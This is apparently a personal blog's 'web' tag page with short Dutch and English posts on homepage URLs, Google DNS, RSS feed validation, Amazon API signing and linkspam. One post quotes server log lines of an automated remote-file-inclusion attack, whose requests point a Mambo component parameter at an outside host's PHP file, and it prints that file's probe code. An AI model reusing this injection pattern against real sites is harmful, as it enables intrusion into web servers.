News items for tag web - Koos van den Hout

Het reactieformulier van de Gemeente Utrecht werkt, ik heb er al een paar keer wat ingestuurd en alle keren een nette reactie op gehad. Recent vroeg ik of de gemeentebelastingen ook betaald zouden kunnen worden via de digitale nota en dat bleek op de planning te staan voor 2011. Ik heb nu eenmaal liever iets met controle voor ik betaal en dus niet automatische incasso, wat ze de laatste jaren wel aan het promoten waren. Maar het komt dus goed als de planning doorgaat.

Looking for that quiet, remote and very, very, very sturdy place to call home? Try the Atlas F missile base, Adirondack Mtns, NY with features like

The original, heavy security doors are built to withstand a 2000 lb blast and are at the underground home entrance.

and

Huge doors open to a large tunnel that accesses the silo that has an additional 20,000 square feet of useable space with unlimited possibilities. The perfect getaway home, it has its own direct runway access, its climate controlled and is capable of withstanding a nuclear hit.

The Silo has a climate constant/approx. 58 degree earth ambient temperature. It is 52' diameter x 178' deep / 9 floor steel superstructure. Entire steel superstructure hangs from gigantic spring suspension system designed to absorb shock of a direct nuclear hit.

It's also easy to reach:

it is part of an exclusive airport subdivision on a (FAA approved) 2050' runway. (It is fully accessable by road too).

Cheap too: only 2.3 million US dollar. Found via It's WAR - lovelylisting

Searching for "idefix.net" to see whether it was listed in some overview of websites with certain vulnerable software I found this gem: idefix-net on Facebook Indonesia. I guess I have some sort of second career I never knew about.

Writing about security on your website has this interesting effect in the logs:

200.93.147.154 - - [04/Mar/2010:09:58:35 +0100] "GET /~koos/newstag.cgi/security/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"
200.93.147.154 - - [04/Mar/2010:09:58:35 +0100] "GET /~koos/newstag.cgi/security%20%20/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"
200.93.147.154 - - [04/Mar/2010:09:58:41 +0100] "GET /~koos/newstag.cgi/security%20%20/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"

The content of heheh.txt is predictable:

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

By pure coincidence there is a file http://zerozon.co.kr/data/eeng/id1.txt with the contents:

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

And that all looks very familiar: Fx29Shell php attack. This won't keep me from writing about security or amusing myself by browsing the logfiles. Maybe I'll find a fresh attack. This automated one is getting really boring.

Yes, took the step. The homepage lives at http://idefix.net/ and the old url redirects. And will have to keep doing that for at least 10 years. Or maybe more, the url for my homepage that was valid until August 2000 still has a working redirect. I'm not moving anything else because that would confuse me too much. So the base href in the html source has to stay.

A ~ in your homepage URL is somewhat very nineties so I started making http://idefix.net/ also point at my homepage and I moved the original content of that page to idefix.net history. I'm now wondering whether I should redirect http://idefix.net/~koos/ to the new location (migrating all links in for example search engines) or let both point at the same page.. or what.
I found some discussions on the tilde in the url. Jukka Korpela has an article Why tilde (~) should not be used in Web addresses (URLs) which explains why this unixism is a bad idea in the modern web and the explanation Get Clues from URLs notes:

Most servers use the ~ symbol to represent the personal directories of individuals.
If the URL contains a tilde then be aware that you are probably (although not definitely) looking at a personal page with personal opinions rather than an official site giving the official line.

Well, as I am the owner of idefix.net there should not be any difference between my opinion and the official opinion of the site.
At work we also got rid of the tildes ages ago so maybe I should just follow the sign of the times. Being good webmasters the old urls still work: http://www.cs.uu.nl/~koos/ will redirect to http://people.cs.uu.nl/koos/.
Enough rambling, this change was to me reason for a bump in the minor version number of the homepage.

I just noticed something: the archive of webcam.idefix.net in the Uithof in Utrecht now covers a longer period (now 3 years and approximately 3 months) than the archive of webcam.idefix.net at the Beneluxlaan in Utrecht (which stopped just a bit over 2 years). How time flies.

The first friday with the friday afternoon url page using Twitter @fridayaftURL to deal out the weekly dose of Friday afternoon fun.
Technically it all worked. But with myself and only a german url shortening service following it there isn't much of an audience yet! Time to do something about that.

I did some serious web services programming (in perl) and updated the scripts powering the Friday Afternoon URL page to post new urls via Twitter on Friday. You can follow @fridayaftURL to get a weekly dose of Friday afternoon stuff from all over the web. The urls are now stored in a (postgresql) database and on Friday a script runs which searches for new urls and posts them to Twitter using the Twitter api. When urls need to be shortened it uses the ln -s_ web service to shorten them.

Ok, I'm usually not the flash and embedding type, but after a bit of trying this one is nice:

My first association when I heard that jingle...

Ik heb toegegeven en voor mezelf een wikipedia account aangemaakt zodat ik de ontbrekende gegevens over de RTBF en VRT dvb-t uitzendingen kon toevoegen aan de pagina over DVB-T frequenties. Het blijft me opvallen dat deze informatie zeer slecht te vinden is. Dan maar wat extra google juice voor deze informatie : DVB-T guard rate, coding, error correction for VRT / RTBF Belgium.

So Google announce their public DNS servers. First thing I try:

koos@greenblatt:~$ dig +short @8.8.8.8 www.google.com aaaa
www.l.google.com.

Too bad! Do they support AAAA records at all?

koos@greenblatt:~$ dig +short @8.8.8.8 idefix.net aaaa
2001:888:1011::694

Yes. But according to the FAQ item on IPv6 it does not support IPv6 as transport at all. Weird for google to roll out a new service so close to the network and not support IPv6.

I follow the comic strip Questionable Content and the latest character added Cosette is promising to be a lot of fun.

I realized there is one piece of software running on my server which has a small chance of having a known leak because it is a widely used package: Serendipity powers the hcc!pc gg netwerkgroep website and I hadn't upgraded it recently. A very small chance, since security is a very important part of the Serendipity design. Since upgrading phpBB for Camp Wireless was always a royal pain in the behind I sort of postponed this process. But after the serious search for any security flaw in my website I searched on the Serendipity site for an explanation of the upgrade process. And the answer: upgrading Serendipity is very, very easy. More PHP applications should be this easy to upgrade.
Update: A frequent reader notes that I had a bit of a strong opinion: lots of PHP software is easy to upgrade, phpBB is/was just a problem because the templating system is too integrated in the source.

I just put a printout of the Google homepage under a barcode scanner and it indeed says: Google.

One downside of a weblog such as the hcc!pc netwerkgroep website is 'trackbacks' being tried for linkspam. So serendipity is configured to accept trackbacks but keep them all for verification, so visitors don't see all the linkspam left by criminals. The 'score' of about one week of linkspam:

serendipity=> delete from serendipity_comments where status='pending';
DELETE 337

Immediate confirmation of the Twitter rss feed issue: the rss feed did not parse. Indeed, the rss feed was not an rss but a piece of HTML:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/strict.dtd">
<!-- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd"> -->
<HTML>
<HEAD>
<META HTTP-EQUIV="Refresh" CONTENT="0.1">
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">
<TITLE></TITLE>
</HEAD>
<BODY><P></BODY>
</HTML>

So the little script worked and saved the homepage.

More than one visitor of my homepage saw an intricate XML parsing error and not the page you all want to see. I never saw the problem myself but my best guess sofar is that the twitter rss feed was malformed, because that is the only XML parsing happening for the page. I fetch the twitter feed automatically every 6 hours, but sometimes twitter is a bit overloaded and probably gives an internal error page (the famous fail whale) and not the valid rss feed.

Solution: Fetch the file to a temporary file, run the parser on it and when the parser does not fail, copy it to where the webserver reads it:

#!/bin/sh

wget -O wwwdata/twitter.rss.pre -o /dev/null http://twitter.com/statuses/user_timeline/19301166.rss

perl -MXML::RSS -e 'my $rss=new XML::RSS; $rss->parsefile("wwwdata/twitter.rss.pre");'

if [ "$?" = "0" ]; then
	cp wwwdata/twitter.rss.pre wwwdata/twitter.rss
fi

Time for some website programming: Amazon was notifying me that Amazon 'Product Advertising API' requests (formerly known as Amazon Web Service) now need to be digitally signed. The 'why' of this is probably something with security. For the 'how' I had to revive those braincells which once programmed Amazon Web Service into The Virtual Bookcase. Those braincells took time as I was first browsing in the wrong sourcefiles. But, after having a peek at Jaap's free Amazon PHP Scripts and incorporating the change to sign requests into my sources, I found the right way again.

One of those times I am glad I have a development version of the site (smaller database, code in development), a qa version (production database, candidate code) and a running version (production database, production code) to test changes like this. The visitors of The Virtual Bookcase never saw all the tries in getting the code to work right.

It was a while since I did any serious work on that site. Otherwise it runs on autopilot and I only add new books and reviews from time to time. Ok, the income from the site has dropped in the same way.

Goed idee: HackdeOverheid. Ik heb in ieder geval wel wat ideetjes over hoe de gemeente Utrecht meer gegevens beschikbaar kan stellen en hoe burgers daar creatieve dingen mee kunnen.